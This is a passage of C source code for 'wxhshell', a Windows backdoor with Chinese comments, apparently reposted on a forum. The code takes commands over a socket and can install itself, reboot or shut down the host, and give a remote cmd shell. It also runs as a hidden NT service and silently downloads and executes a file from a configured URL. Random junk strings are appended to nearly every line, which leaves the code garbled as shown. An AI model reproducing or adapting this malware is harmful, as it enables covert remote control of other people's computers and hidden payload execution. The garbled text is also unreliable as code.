  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k=w%oqpN  
  } io$AGi  
  else { =<iK3bPkU  
yXR$MT+~  
    switch(cmd[0]) { >=6tfLQ  
  V8`t7[r  
  // 帮助 VCNg`6!x  
  case '?': { O|?>rK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z[}[:H8  
    break; ISa2|v;M  
  } [[Qu|?KEa  
  // 安装 29 Yg>R!/  
  case 'i': { _CciU.1k&,  
    if(Install()) Z-*L[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m:)v>vu  
    else *Jmy:C<>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;6U=fBp7<  
    break; UOy`N~\gh+  
    } : JD% =w_  
  // 卸载 *(PGL YK  
  case 'r': { I|n<B"Q6^  
    if(Uninstall()) %'%ej^s-R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); op/HZa  
    else 1ePZs$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i~MCY.F  
    break; Ym8G=KA  
    } S c_*L<$  
  // 显示 wxhshell 所在路径 F(Pe@ #)A  
  case 'p': { >hJ$~4?  
    char svExeFile[MAX_PATH]; ^j0Mu.+_  
    strcpy(svExeFile,"\n\r"); YRfs8I^rg  
      strcat(svExeFile,ExeFile); (es+VI2!&C  
        send(wsh,svExeFile,strlen(svExeFile),0); nz3j";d  
    break; cWA9n}Z  
    } B-@6m  
  // 重启 I_6?Q^_uZ  
  case 'b': { F@& R"-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4h@jJm  
    if(Boot(REBOOT)) ~>VEg3#F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rh5R kiF~  
    else { ^&03D5@LoY  
    closesocket(wsh); Vl%AN;o  
    ExitThread(0); V}. uF,>V  
    } X};m\Bz  
    break; w4Qqo(  
    } ,^pM]+NF|  
  // 关机 J}c57$Z  
  case 'd': { puF'w:I (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Bn^+u\  
    if(Boot(SHUTDOWN)) *p`0dvXG2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]t6u .L  
    else { =Mzg={)v  
    closesocket(wsh); # =V%S 2~  
    ExitThread(0); r Lg(J|^  
    } 4v_?i @,L  
    break; <H<5E'm  
    } w<3}(1  
  // 获取shell A[oLV"J6x5  
  case 's': { |5 _bFB+&  
    CmdShell(wsh); ZF"f.aV8)  
    closesocket(wsh); R7;SZo  
    ExitThread(0); lTY%,s  
    break; XSyCT0f08  
  } %jdV8D#Q  
  // 退出 1sl^+)z8  
  case 'x': { \{AxDk{z#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jb~a z  
    CloseIt(wsh); WMnR+?q  
    break; kT@RA}  
    } !sQ$a#Ea  
  // 离开 EAn}8#r'(8  
  case 'q': { ^.5 L\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sj]k5(&  
    closesocket(wsh); z`qBs  
    WSACleanup(); @[#U_T- I  
    exit(1); .j:.?v  
    break; et(/`  
        } iDt^4=`  
  } A`v(hBM  
  } S8*VjG?T\  
W7>4-gk  
  // 提示信息 #/$}zl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xoF]r$sC8  
} xx0s`5  
  } &dF$:$'s  
q$z#+2u  
  return; Uhfm@1 cz&  
} J\<7M8   
LI_>fuv"8  
// shell模块句柄 !-b4@=f:  
int CmdShell(SOCKET sock) "u5Hm ^H  
{ b/Y9fQ n  
STARTUPINFO si; )k01K,%#)  
ZeroMemory(&si,sizeof(si)); LWHP31{R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yr5A,-s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *T"JO |  
PROCESS_INFORMATION ProcessInfo; s, m+q)  
char cmdline[]="cmd"; H1_XEcaM+*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sY+U$BYB>  
  return 0; 3dfG_a61y  
} D.Rk{0se8  
*#1&IJPI  
// 自身启动模式 Os^sOOSY  
int StartFromService(void) \s?OvqI:  
{ s^ rO I~  
typedef struct V#[I/D  
{ "<ow;ciJF  
  DWORD ExitStatus; ";}Lf1M9  
  DWORD PebBaseAddress; A`<#}~A  
  DWORD AffinityMask; ]'V8{l  
  DWORD BasePriority; r \H+=2E'  
  ULONG UniqueProcessId; q9.)p  
  ULONG InheritedFromUniqueProcessId; /:v+:-lU  
}   PROCESS_BASIC_INFORMATION; g]85[xz  
+qq,;npi  
PROCNTQSIP NtQueryInformationProcess; +jYO?uaT  
{PgB~|W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _H}y7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r9z_8#cR  
t^ L XGQ  
  HANDLE             hProcess; DLcfOOn1I  
  PROCESS_BASIC_INFORMATION pbi; EJ{Z0R{{  
%41dVnWB^4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #m?GBr%k  
  if(NULL == hInst ) return 0; )V~Fl$A  
<_@ K4zV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O$u;]cg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Z<pks2 y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?xh_qy;  
_d6mf4M]5  
  if (!NtQueryInformationProcess) return 0; iY"I:1l.  
3 lH#+@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P`6 T;|VDk  
  if(!hProcess) return 0; E{gu39D  
hnZI{2XzBE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `q* 0^}  
MV6 %~T  
  CloseHandle(hProcess); !e@G[%k  
@+~=h{jv<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nN>D=a"&F  
if(hProcess==NULL) return 0; dVc;Tt  
.B*Yg<j  
HMODULE hMod; `%;n HQ"  
char procName[255]; UXD?gK1  
unsigned long cbNeeded; }l$M%Ps!a  
)?~3fb6^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g0I<Fan  
Pc{D,/EpR  
  CloseHandle(hProcess); Ht? u{\p@  
Jpg_$~k  
if(strstr(procName,"services")) return 1; // 以服务启动 zr@Bf!VG:  
I9*o[Jp5  
  return 0; // 注册表启动 mXlXB#N  
} !_E E|#`n  
T[a1S?_*T  
// 主模块 ;d G.oUk=  
int StartWxhshell(LPSTR lpCmdLine) S<Q8kW:  
{ (ii 5pnq  
  SOCKET wsl; }D dg  
BOOL val=TRUE; ?I}jsm1)  
  int port=0; 2#_9x7g+  
  struct sockaddr_in door; asP>(Li  
*7oPM5J|v  
  if(wscfg.ws_autoins) Install(); &=|W95  
Dn$zwksSs  
port=atoi(lpCmdLine); OH5 kT$  
I /3=~;u  
if(port<=0) port=wscfg.ws_port; X^%I 3  
q9pBS1Ej  
  WSADATA data; Zm%}AzM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qA9*t  
SZg+5MD;X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NF0IF#;a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }@@1N3nnxV  
  door.sin_family = AF_INET; >IfJ.g"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @^Mn PM  
  door.sin_port = htons(port); aFo%B; 8m  
WP32t@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^]'p927  
closesocket(wsl); +>z/54R  
return 1; rd]HoFE  
} @l"GfDf L9  
v7O{8K+  
  if(listen(wsl,2) == INVALID_SOCKET) { St|sUtj<r  
closesocket(wsl); C,]Q/6'>  
return 1; DBCL+QHA  
}  .^@+$}   
  Wxhshell(wsl); po=*%Zs*T  
  WSACleanup(); ++,mM7a  
"$0f.FO:i  
return 0; Yc:b:\0}F6  
!SJmu}OB]  
} RfN5X}&A  
`<HY$PAe  
// 以NT服务方式启动 ~l6e&J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TM!R[-\  
{ fhH* R*4  
DWORD   status = 0; 5*g@;aR1  
  DWORD   specificError = 0xfffffff; ,)]ZD H  
dmlh;Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nkhM1y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A*E4hop[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `9K'I-hv<8  
  serviceStatus.dwWin32ExitCode     = 0; -2 tZ  
  serviceStatus.dwServiceSpecificExitCode = 0; DMf^>{[  
  serviceStatus.dwCheckPoint       = 0; DT9i<kl  
  serviceStatus.dwWaitHint       = 0; t"0~2R6i  
-v jjcyTt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`<e vwIe  
  if (hServiceStatusHandle==0) return; [&{"1Z  
J8b]*2D  
status = GetLastError(); ew`R=<mZ,7  
  if (status!=NO_ERROR) ,\=u(Y\I[  
{ 2tWUBt\,g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )@K|Co  
    serviceStatus.dwCheckPoint       = 0; VwC, +B  
    serviceStatus.dwWaitHint       = 0; 'Y vW|Iq  
    serviceStatus.dwWin32ExitCode     = status; U_VD* F4Bv  
    serviceStatus.dwServiceSpecificExitCode = specificError; (n`\b47  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [dzb{M6_  
    return; 'HqAm$V+  
  } S0 yPg9v  
<K97eAcW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uO^{+=;A =  
  serviceStatus.dwCheckPoint       = 0; U;jk+i  
  serviceStatus.dwWaitHint       = 0; LXXxwIBS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^k)f oD  
} -y/?w*Cx  
a:;*"p[R  
// 处理NT服务事件,比如:启动、停止 (c} 0Sg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;3?M?E/$s  
{ yRgo1ow]  
switch(fdwControl) -8pHjry'q  
{ k~vmHb  
case SERVICE_CONTROL_STOP: 6u.b?_u  
  serviceStatus.dwWin32ExitCode = 0; F2:7UNy,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vy/g;ZPU1  
  serviceStatus.dwCheckPoint   = 0; NA3yd^sr  
  serviceStatus.dwWaitHint     = 0; VJ$C)0xQA  
  { ;^*^ :L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lo(Ht=d  
  } 3>jz3>v@  
  return; NF a ;  
case SERVICE_CONTROL_PAUSE: 9m'[52{o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ow$#kQ&R O  
  break; .i. |wY  
case SERVICE_CONTROL_CONTINUE: wR4P0 [  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #m M&CscE  
  break; ! \gRXP}  
case SERVICE_CONTROL_INTERROGATE: 6?a(@<k_  
  break; L;`4"  
}; 1a)_Lko  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (la   
} NrU -%!Aw  
j)]'kg  
// 标准应用程序主函数 cj8r-Vu/N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5m bs0GL  
{ ^twv0>vEo  
|knP  
// 获取操作系统版本  HOD2/  
OsIsNt=GetOsVer(); y k5P/H)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $e;!nI;z  
)N6R#   
  // 从命令行安装 0F3>kp4u  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'w!gQ#De  
'LOqGpmVc  
  // 下载执行文件 "p; DQ-V  
if(wscfg.ws_downexe) { p}.b#{HJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s7 KKH w  
  WinExec(wscfg.ws_filenam,SW_HIDE); XH2 SEeh  
} 5ya3mN E  
\I'Zc]  
if(!OsIsNt) { 4l1=l#\S  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZB2'm3'bh  
HideProc(); (g)@wNBW  
StartWxhshell(lpCmdLine); pd;-z  
} MU e 'xK  
else Y-Ku2m  
  if(StartFromService()) M+E5PZ|_  
  // 以服务方式启动 (p?3#|^  
  StartServiceCtrlDispatcher(DispatchTable); 8 (KfX%  
else PVU"oz&T  
  // 普通方式启动 oU@ljSD  
  StartWxhshell(lpCmdLine); Z+dR(9otH3  
~fF }  
return 0; h]MVFn{  
}
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只看该作者 1 发表于: 2006-10-10
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